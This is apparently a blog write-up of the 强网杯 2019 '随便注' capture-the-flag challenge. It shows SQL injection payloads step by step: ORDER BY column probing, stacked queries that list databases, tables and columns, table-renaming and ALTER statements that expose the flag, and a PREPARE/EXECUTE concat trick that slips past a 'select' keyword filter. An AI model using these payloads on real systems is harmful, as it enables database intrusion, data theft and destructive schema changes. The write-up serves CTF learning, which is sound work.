[强网杯 2019]随便注1

1.简单输入1,2,3,1’进行观察,判断存在SQL注入


2.利用ordre by语句判断字段数
输入:1' order by 1# 

然后继续修改数字1变为2、3等等

出现回显

输入:1' order by 3# 时提示错误,说明只有2个字段

3.注入点判断
输入:1' union select 1,2#  判断回显的位置,出现提示过滤了关键字,说明union注入不可用。当它用不了时优先考虑堆叠注入

4.堆叠注入

爆表

输入:1';show databases;#

爆表

输入:1';show tables;#

爆字段(从1919810931114514表开始)

输入:1';show columns from `1919810931114514`;#

查询表words

常规注入的回显问题
在正常的SQL注入攻击中,如果存在回显,那么可以直接通过构造SQL语句,将查询结果显示在页面上。但在只有回显的盲注情况下,没有直接的回显,无法直接查看查询结果。
 
通过将目标表改名为其他名称,可以利用数据库的特性,在后续的操作中对改名后的表进行各种查询和操作。比如可以将目标表名改为一个已知存在且有数据回显的表名,然后利用原有的查询语句和逻辑,在不改变整体功能的情况下,使得原本不回显的目标表数据通过回显的表进行间接输出。这样就能够逐位获取不回显的表中的内容。

因此我们可以将表进行重命名

用rename把words表改名为其他的表名,把 1919810931114514表的名字改为words,给words表添加新的列名id,将flag改名为data

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

通过改名后就可以直接输出flag的内容了,直接查询1即可

第二种思路是:我们查到数字表中有flag提示信息,但是我们又不能用select语句

1';select* from `1919810931114514` ');EXECUTE  hacker;#

由于关键字的过滤select,我们可以通过select的分开然后再拼接查找表中的所有内容

1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE  hacker;#
  • PREPARE hacker from concat('s','elect', ' * from 1919810931114514 ');:这是准备阶段。PREPARE语句用于准备一条SQL语句以便后续执行。这里使用concat函数将字符串拼接成一条完整的SQL查询语句select * from 1919810931114514,并将这条语句赋值给名为hacker的预处理语句对象。之所以要分段拼接,可能是为了绕过一些简单的SQL注入检测,因为直接写select等关键字可能会被检测到。

  • EXECUTE hacker;:这是执行阶段。执行之前准备好的名为hacker的预处理语句,也就是执行那条查询1919810931114514表中所有数据的SQL语句。

  • #:这是SQL注释符号,后面的内容会被数据库忽略。在这里可能用于进一步干扰原有SQL语句或隐藏攻击意图。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值